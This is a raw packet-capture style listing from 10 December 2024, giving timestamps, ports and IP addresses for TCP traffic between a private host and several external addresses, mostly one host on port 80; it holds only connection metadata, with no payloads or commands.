Dec 10, 2024 05:10:56.005667925 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.005775928 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.006720066 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.006844997 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.007458925 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.007487059 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.007528067 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.007812977 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.007812977 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.007838964 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.007863045 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.007906914 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.008856058 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.008966923 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.009918928 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.010014057 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.010740042 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.010953903 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.011090994 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.011161089 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.012023926 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.012142897 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.012187004 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.013072014 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.013219118 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.013262033 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.014125109 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.014242887 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.014285088 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.015217066 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.015321970 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.015796900 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.016268015 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.016393900 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.016438007 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.017337084 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.017360926 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.017482042 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.018377066 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.018480062 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.018531084 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.019428968 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.019566059 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.019609928 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.020477057 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.020587921 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.021008968 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.021559954 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.021706104 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.021748066 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.022620916 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.022712946 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.022753000 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.023689032 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.023796082 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.024015903 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.024713993 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.024823904 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.024858952 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.025793076 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.025901079 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.026830912 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.026937962 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.027888060 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.027988911 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.028975964 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.029042959 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.029987097 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.030086994 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.031060934 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.031167030 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.032155037 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.032349110 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.033190966 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.033288956 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.034229040 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.034342051 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.035176039 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.035228014 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.035306931 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.035408974 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.036344051 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.036459923 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.037415028 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.037544012 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.038485050 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.038528919 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.039545059 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.039658070 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.040628910 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.040684938 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.041671991 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.041806936 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.042701960 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.049879074 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.050050020 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.052758932 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.179474115 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.179583073 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.179742098 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.180027008 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.180103064 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.180150986 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.181056976 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.181107998 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.181152105 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.182096958 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.182203054 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.182249069 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.183156013 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.183259964 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.183307886 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.184214115 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.184299946 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.185282946 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.185379028 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.186328888 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.186430931 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.187417030 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.187489033 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.188479900 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.188555956 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.189488888 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.189601898 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.190546989 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.190658092 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.191633940 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.191772938 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.192660093 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.192770004 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.193728924 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.193844080 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.194775105 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.194892883 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.195847034 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.195952892 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.196894884 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.196984053 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.197953939 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.198070049 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.199064016 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.199125051 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.199918032 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.200119019 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.200202942 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.201124907 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.201220989 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.202208042 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.202600956 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.203246117 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.203404903 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.204319000 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.204422951 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.205418110 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.205557108 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.206453085 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.206597090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.207643032 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.207736015 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.208569050 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.208697081 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.209651947 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.209729910 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.210649967 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.210779905 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.211708069 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.211869001 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.212805986 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.212922096 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.213825941 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.213936090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.214909077 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.214968920 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.215953112 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.216018915 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.217010021 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.217097998 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.218168020 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.218333960 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.219165087 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.219286919 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.220208883 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.220333099 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.221266985 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.221333981 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.222080946 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.222285032 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.222414970 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.223411083 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.223423004 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.224442005 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.224581957 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.225555897 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.225670099 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.226546049 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.226669073 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.227600098 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.227734089 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.228658915 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.228785992 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.229713917 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.229826927 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.230793953 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.230993032 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.231817961 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.231925964 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.232858896 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.232991934 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.233913898 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.234030008 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.234960079 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.237679958 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.253298044 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.253324986 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.253885984 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.253885984 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.253885984 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.253921986 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.253995895 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.253995895 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.254028082 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.254045010 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.728424072 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:56.796086073 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.858513117 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.911818981 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:57.092340946 CET	49993	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:57.092395067 CET	443	49993	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:57.096062899 CET	49993	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:57.096527100 CET	49993	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:57.096543074 CET	443	49993	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:57.107695103 CET	49985	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:57.108717918 CET	49986	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:57.128349066 CET	49994	443	192.168.2.5	34.107.243.93
Dec 10, 2024 05:10:57.128361940 CET	443	49994	34.107.243.93	192.168.2.5
Dec 10, 2024 05:10:57.128941059 CET	49994	443	192.168.2.5	34.107.243.93
Dec 10, 2024 05:10:57.130419016 CET	49994	443	192.168.2.5	34.107.243.93
Dec 10, 2024 05:10:57.130430937 CET	443	49994	34.107.243.93	192.168.2.5
Dec 10, 2024 05:10:57.216945887 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:57.221810102 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:57.226661921 CET	49987	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:57.226923943 CET	80	49985	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:57.227355957 CET	49998	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:57.227940083 CET	80	49986	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:57.346169949 CET	80	49987	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:57.346230984 CET	49987	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:57.346549034 CET	80	49998	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:57.346621037 CET	49998	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:57.346815109 CET	49998	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:57.383620024 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.383793116 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.421336889 CET	80	49985	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:57.423134089 CET	80	49986	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:57.466041088 CET	80	49998	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:57.466058969 CET	49985	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:57.466068983 CET	49986	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:57.580832958 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.632616043 CET	49985	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:57.700350046 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.700444937 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.700684071 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.700783968 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.700917006 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.700961113 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.701857090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.701987982 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.702027082 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.702996969 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.703058958 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.703196049 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.703998089 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.704068899 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.704149961 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.705056906 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.705159903 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.705195904 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.706113100 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.706176996 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.706290007 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.707140923 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.707251072 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.708199024 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.708317995 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.708473921 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.709270954 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.709403992 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.709446907 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.710316896 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.710433006 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.710606098 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.711379051 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.711493969 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.711532116 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.712423086 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.712554932 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.712651014 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.713481903 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.713598013 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.713706970 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.714559078 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.714684963 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.714724064 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.715607882 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.715733051 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.715768099 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.716662884 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.716835976 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.716875076 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.717724085 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.717858076 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.717981100 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.718847990 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.718946934 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.718988895 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.719930887 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.720021009 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.720160007 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.720897913 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.721009016 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.721211910 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.721962929 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.722071886 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.722251892 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.723026037 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.723103046 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.723138094 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.724088907 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.724178076 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.724585056 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.725141048 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.725256920 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.725347996 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.726198912 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.726216078 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.726813078 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.726922035 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.727910995 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.727983952 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.728224993 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.728916883 CET	80	49984	185.215.113.16	192.168.2.5
